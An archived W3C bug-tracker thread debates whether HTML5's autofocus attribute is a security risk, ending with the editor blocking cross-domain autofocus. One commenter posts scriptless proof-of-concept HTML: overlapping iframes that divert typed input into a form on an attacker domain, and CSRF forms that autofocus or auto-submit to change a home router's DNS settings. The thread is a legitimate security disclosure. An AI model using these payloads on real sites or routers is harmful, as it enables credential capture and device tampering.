This is an archived snapshot of W3C's public bugzilla bug tracker, decommissioned in April 2019. Please see the home page for more details.
Section: http://www.whatwg.org/specs/web-apps/current-work/#attr-fe-autofocus Comment: That autofocus attribute will wreak security havok. What an ignorant idea to bring more logic to HTML. I think I know a couple of ways to abuse it, since it actually is some sort of flow control, which only scripting languages should be capable of. I hope it never gets implemented in Firefox. I am really shocked. -Skyphire. Posted from: 82.171.76.240
Scriptless keylog primer PoC. It still requires an ENTER Key Event, But we might be able to bubble focus through the FOR attribute to get even more flow control. Granted, this was possible with JavaScript enabled before, but never without JavaScript since there was no way to get focus from flow control from another domain, until now. This is only an example of what autofocus can be capable of. I am sure more elegant attacks are possible, given the time to think them up. !!Legitform.html (on trusted domain) <!doctype html> <html> <head> <meta charset="UTF-8"> <title>Scriptless keylog primer</title> </head> <body> <form name="logo" method="post" action="http://www.google.com"> <input type="text" name="log"> <input type="submit" name="submit" value="submit"> </form> </body> </html> !!Keylog.html (on untrusted domain) <!doctype html> <html> <head> <meta charset="UTF-8"> <title>Scriptless keylog primer</title> </head> <body> <form name="logo" method="GET" action="http://www.scriptkiddie.universe.com"> <input type="text" name="log" autofocus> <!-- Due to autofocus, Frame F2 gets the focus. Even when it's below Frame F1! --> <input type="submit" name="submit" value="submit"> </form> </body> </html> !!Test.html (on trusted domain, possibly injected/stored reflected XSS or simply from unsanitized code) <!doctype html> <html> <head> <meta charset="UTF-8"> <title>Scriptless keylog primer</title> </head> <body> <!-- This is only to watch what exactly happens, irl we set Frame F2 with a fixed top position of about 19px/20px to let Frame F1 overlap Frame F2 --> <iframe name="F1" src="legitform.html" style="position:absolute; top:18; left:90; z-index:3; height:25px; background-color:cyan;" scrolling="no"> </iframe> <iframe name="F2" src="keylog.html" style="position:absolute; top:50; left:90; z-index:2; height:25px; background-color:magenta;" scrolling="no"> </iframe> </body> </html> -Skyphire.
Another PoC utilizes autofocus to bubble focus to the submit button on another page, and thereby making a CSRF to change a home router DNS settings as example, can be anything else malicious. !! Test.html (on trusted server) <!doctype html> <html> <head> <meta charset="UTF-8"> <title>CSRF example</title> </head> <body> <!-- CSRF example injected portion through XSS/Unsanitized database --> <iframe name="csrf" src="csrf.html" style="position:absolute; top:50; left:90; z-index:2; height:25px; background-color:magenta;" scrolling="no"></iframe> </body> </html> !! CSRF.html (on untrusted server) <!doctype html> <html> <head> <meta charset="UTF-8"> <title>Change router DNS settings</title> </head> <body> <form name="logo" method="POST" action="http://192.168.1.2/"> <input type="text" name="log"> <input type="hidden" name="DNS" value="255.255.255.255"> <input type="submit" name="submit" value="submit" autofocus> <!-- setting autofocus on SUBMIT; Bad idea... --> </form> </body> </html> -Skyphire
This does not introduce any new security flaw that doesn't already exist already with: <input> <script> document.querySelector("input").focus(); </script> In fact, the autocomplete attribute is significantly less harmful than the script alternative because the UA has the option of opting out of providing focus if the user has already begun interacting with something else. Also, your attack vector depends on the user attempting to enter sensitive information without first giving focus to another control, nor noticing that they're not entering text into the intended control. Your demo cannot log keys at all once the user has given focus to anything else on the page. I do not believe your concerns are valid at all.
Lachlan, maybe it's a good idea to read the description once more. My PoC doesn't use JavaScript at all. Yours does. World of difference here, because many people block JavaScript as a security measure. Due to iframe overlapping (try only iframe overlapping in Firefox to see what happens) the iframe beneath the original trusted one gets focused, you will notice if you reconstruct it carefully, that there will be no apparent difference, because the focus appears to be set in first iframe, but it actually gets set to the 2nd iframe beneath, tricking a unsuspecting user to enter a password or other sensitive data for example. Forgot to add that a SPACE can trigger the SUBMIT button if it received focus. -Skyphire
(In reply to comment #4) > Lachlan, maybe it's a good idea to read the description once more. My PoC > doesn't use JavaScript at all. Yours does. World of difference here, because > many people block JavaScript as a security measure. I know, that was my point. I was showing how exactly the same issue can be replicated with JavaScript, to illustrate the fact that there is no significant new attack vector created by autofocus. Most people don't block JavaScript. The insignificant portion who do have no impact on the overall effectiveness of such an easily circumvented attack. > Due to iframe overlapping (try only iframe overlapping in Firefox to see what > happens) the iframe beneath the original trusted one gets focused, you will > notice if you reconstruct it carefully, that there will be no apparent > difference, because the focus appears to be set in first iframe, but it > actually gets set to the 2nd iframe beneath, tricking a unsuspecting user to > enter a password or other sensitive data for example. How do you propose that an iframe with untrusted content will be able to position itself beneath another trusted iframe? Unless the parent page itself is complicit with the attack or at least the victim of XSS, in which case the whole site is effectively untrustworthy. Also, even if an untrustworthy page were loaded in an iframe, then the parent site could include the sandbox attribute which will completely disable the effect of autofocus. e.g. <iframe src="http://untrusted.example/" sandbox></iframe>
> I know, that was my point. I was showing how exactly the same issue can be > replicated with JavaScript, to illustrate the fact that there is no significant > new attack vector created by autofocus. Most people don't block JavaScript. > The insignificant portion who do have no impact on the overall effectiveness of > such an easily circumvented attack. As I also said it was known, the difference was a script-less vector. So you essentially, autofocus brings scripting to HTML. You bet I am worried. It is for a very good reason the two should be separated, since HTML is and SHOULD be merely structural semantics. Even this argument makes enough sense, in my opinion, to be worried. Setting a focus to a button goes completely against all my logic. > How do you propose that an iframe with untrusted content will be able to > position itself beneath another trusted iframe? Unless the parent page itself > is complicit with the attack or at least the victim of XSS, in which case the > whole site is effectively untrustworthy. The idea that this is possible in the first place should be raising eyebrows. I proposed a couple of vectors that could be used to stack attacks regardless if the end-user has JavaScript enabled. There are plenty of cases where this can lead to a compromise. It isn't a vulnerability in itself, (just like enabling Telnet on your host isn't a vulnerability in itself) but it enables unwanted control that COULD lead to unexpected results. I haven't figured out a way to do it fully automatic (without a single key-stroke) but if it is possible, it essentially means even HTML can be used for malicious ends. Surely this isn't expected behavior, is it? > Also, even if an untrustworthy page were loaded in an iframe, then the parent > site could include the sandbox attribute which will completely disable the > effect of autofocus. > e.g. <iframe src="http://untrusted.example/" sandbox></iframe> The parent site could do that, but I rather see that browser vendors disable autofocus on embedded frames, like iframes. I see no reason why an Iframe should be allowed to transfer focus over it's document through this HTML "feature". It has nothing to do with semantics at all. Scripting languages -like JavaScript, LiveScript- were invented for this task. So to me this is a caution of what's in store. Because how is an end-user to know that a combination of these attacks can lead to some sort of compromise without his consent? HTML5 brings new features and a lot of them are very useful, but I see absolutely no point in giving HTML the power to control even more flow. HTML4 brought enough control flow into existence too through the FOR attribute. And yes, browser happily accept this. Example: <!-- bubble all flow control towards the button through a label (including body clicks!) --> <label for="submit"> <body> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque faucibus condimentum dui, nec suscipit nibh pulvinar quis. Mauris feugiat vulputate neque sed malesuada. Nam nec nibh id neque tristique fermentum. Maecenas dignissim mi nec libero ullamcorper sed imperdiet nisi vestibulum. Morbi iaculis risus id nulla pulvinar pharetra. <form action="192.168.1.2/yourvulnrouter.html" method="post"> <input type="submit" id="submit" style="display:none;"> <input type="hidden" name="CMD" value="some command the router listens for"> </form> </body> </label> I'm curious about the motivation behind this design decision too. I think it's pointless to marginalize risks in favor of features which HTML should not be capable of at all. Maybe it's me, but I have suspicion it isn't w3 who dropped the ball here, but rather the WHATWG group, who interestingly enough consists of major browser vendors. So, is autofocus what the browser vendors want to be implemented? or is it what the end-user actually want or don't want? From an end-user standpoint like myself, HTML should never enable/disable nor control the flow of control unless the end-user specifies to do so, like for instance disabling scripting to prevent unwanted modifications, malicious or not. -Skyphire
So maybe the solution here is to say that autofocus should not work when scripting is disabled?
(In reply to comment #7) > So maybe the solution here is to say that autofocus should not work when > scripting is disabled? Anne, that is an excellent question. According to SGML (Generalized markup) that idea entertains the first postulate: 1. Markup should describe (declare) a document's structure and other attributes, rather than specify the processing to be performed on it, as descriptive markup needs be done only once, and will suffice for future processing. I just finished a paper on HTML5: http://www.skyphire.nl/pubs/SKY-2010-07-01.txt where I talk a bit further about these specific elements that have been assigned to perform procedures instead of solely having a declarative structure.
Is anyone seriously going to go out of their way to attack the tiny percentage of users who have script disabled? Normal attackers will just use script, something as convoluted as this is not worth the effort to them -- simple XSS would be much easier to write and much more effective. If some users don't want autofocus, they can turn off autofocus as well as script (if their browser permits).
(In reply to comment #9) > Is anyone seriously going to go out of their way to attack the tiny percentage > of users who have script disabled? Normal attackers will just use script, > something as convoluted as this is not worth the effort to them -- simple XSS > would be much easier to write and much more effective. If some users don't > want autofocus, they can turn off autofocus as well as script (if their browser > permits). I think that argument goes both ways. Who needs to autofocus something? Google? I mean; what is it use, if the same can be accomplished by JavaScript too? Besides, there is a great percentage of user that have the NoScript extension for FireFox installed. Another considerate amount of users have disabled JavaScript altogether for obvious security purposes. I like the idea of the option to turn if off. In FireFox this doesn't seem possible yet? at least not in the configuration screen. But as Anne suggested, if JavaScript is disabled, such attribute routines could be turned off as well. The latter would be great in my opinion.
(In reply to comment #10) > (In reply to comment #9) > > Is anyone seriously going to go out of their way to attack the tiny percentage > > of users who have script disabled? Normal attackers will just use script, > > something as convoluted as this is not worth the effort to them -- simple XSS > > would be much easier to write and much more effective. If some users don't > > want autofocus, they can turn off autofocus as well as script (if their browser > > permits). > > I think that argument goes both ways. Who needs to autofocus something? Google? > I mean; what is it use, if the same can be accomplished by JavaScript too? > > Besides, there is a great percentage of user that have the NoScript extension > for FireFox installed. Another considerate amount of users have disabled > JavaScript altogether for obvious security purposes. > > I like the idea of the option to turn if off. In FireFox this doesn't seem > possible yet? at least not in the configuration screen. But as Anne suggested, > if JavaScript is disabled, such attribute routines could be turned off as well. > The latter would be great in my opinion. Unfortunately, this doesn't solve the problem of autofocus being a security gap. As has been discussed in the bug to deprecate noscript, corporations incorporate software into their firewalls to strip JavaScript from pages served to their employees. However, the employee browsers still show that script is enabled. Since there would be no indication that scripting is turned off in these circumstances, there would be nothing to trigger "turning off" autofocus. This would leave these employees particularly vulnerable, as they would assume that pages are safe, because scripting has been disabled.
They would also be "vulnerable" to each new event handler attribute, etc. Blacklisting never works as security measure.
(In reply to comment #12) > They would also be "vulnerable" to each new event handler attribute, etc. > Blacklisting never works as security measure. Whether it is effective or not, it exists. You can't count on getting a specific "JavaScript turned off" in order to determine whether to enable the autofocus attribute or not, and still consider the attribute secure. It is insecure, period.
No, what is insecure is just stripping <script> elements and thinking that is sufficient and not anticipating further changes to the language.
(In reply to comment #14) > No, what is insecure is just stripping <script> elements and thinking that is > sufficient and not anticipating further changes to the language. You're arguing oranges, and I'm trying to call an apple and apple. Point blank: you can't count on JavaScript showing as disabled in order to determine when autofocus should, or should not, be allowed to work in a page. Not if the whole point of the exercise is to provide the same level of security as exists today with the JavaScript-enabled auto focus capability. JavaScript being disabled is not a 100% guaranteed indicator.
My main point was to remind i.e. summarize the reasons for separation of declarative and procedural structures in HTML, meaning that HTML should not be able to control a document. I remain convinced that JavaScript -being able to perform such procedures- was designed for this task. While I understand the nuances of this discussion, it is also easy to get lost in a mindset of "nifty features". Besides a security "risk", it is also unwanted from a usability standpoint. I find it highly aggravating when a document sets focus on something I don't want; If JavaScript performs such task, then it is easily mitigated, by simply disabling JavaScript, or use UserScripts like in Opera or Mozilla to modify the scripts behavior to what I want it to do. So do the benefits really outweigh the challenges it creates from a security as well as a usability standpoint? Hard to say. My first intuition says no. It doesn't. It takes a one-liner of JavaScript to perform the same procedure of setting focus on an element in a document. I think it's a high price to pay when one supports such features over a solid RESTful architecture, obeying SGML design principles. Certainly if the aim of such feature could be achieved otherwise, namely: a scripting language.
(In reply to comment #10) > I think that argument goes both ways. Who needs to autofocus something? Google? > I mean; what is it use, if the same can be accomplished by JavaScript too? Because getting autofocus right with JavaScript is somewhat tricky. You have to do it in a script that executes right after the input loads, so that it focuses right away and doesn't steal focus when the user has explicitly changed it. Doing it on a <body onload> is common but broken. Similarly, you have to only do it if the user hasn't already focused something else. And you have to make sure not to do the focusing on any element you want to autofocus beyond the first. This is all perfectly possible to do in JavaScript, but it's error-prone. Since the need is so common, it makes sense to have simpler markup to permit it. Also, this way users who dislike autofocus can disable it in their browser programmatically. This isn't possible if the autofocus is done by JavaScript, without disabling all focus() (which is overkill).
EDITOR'S RESPONSE: This is an Editor's Response to your comment. If you are satisfied with this response, please change the state of this bug to CLOSED. If you have additional information and would like the editor to reconsider, please reopen this bug. If you would like to escalate the issue to the full HTML Working Group, please add the TrackerRequest keyword to this bug, and suggest title and text for the tracker issue; or you may create a tracker issue yourself, if you are able to do so. For more details, see this document: http://dev.w3.org/html5/decision-policy/decision-policy.html Status: Partially Accepted Change Description: see diff given below Rationale: autofocus="" is intended to improve the user experience by allowing sites to automatically focus an element without moving the focus when the user is already doing something. It's also intended to make it possible to do this with scripting disabled. So I don't think we should drop it. I've changed the spec to block it when the focus would be going cross-domain, however. I haven't prevented it in the case of a same-origin cross-frame transfer, because if you can inject same-origin frames, you might as well just spoof the whole page and so autofocus isn't especially helpful in mounting an attack. Regarding who dropped the ball (W3C or WHATWG): it was me, and I'm a participant in both groups. I should indeed have considered the implications of this feature in a cross-domain situation. Incidentally, "bubble" in this context usually refers to a particular phase of the DOM events model. Focus is transferred or moved, not bubbled.
Skyphire provided an extremely convincing argument of how unsound autofocus is. The partial solution is appreciated, but Skyphire's points are valid, the arguments sound, and I agree: we should never have added autofocus to the HTML5 spec. Since your solution did not remove the element, I'm elevating this to a Tracker Request.
I raised the same issue for this and bug 9077 since they seem closely related.
(In reply to comment #20) > I raised the same issue for this and bug 9077 since they seem closely related. Please disregard this comment, it was meant for another bug.
http://www.w3.org/html/wg/tracker/issues/123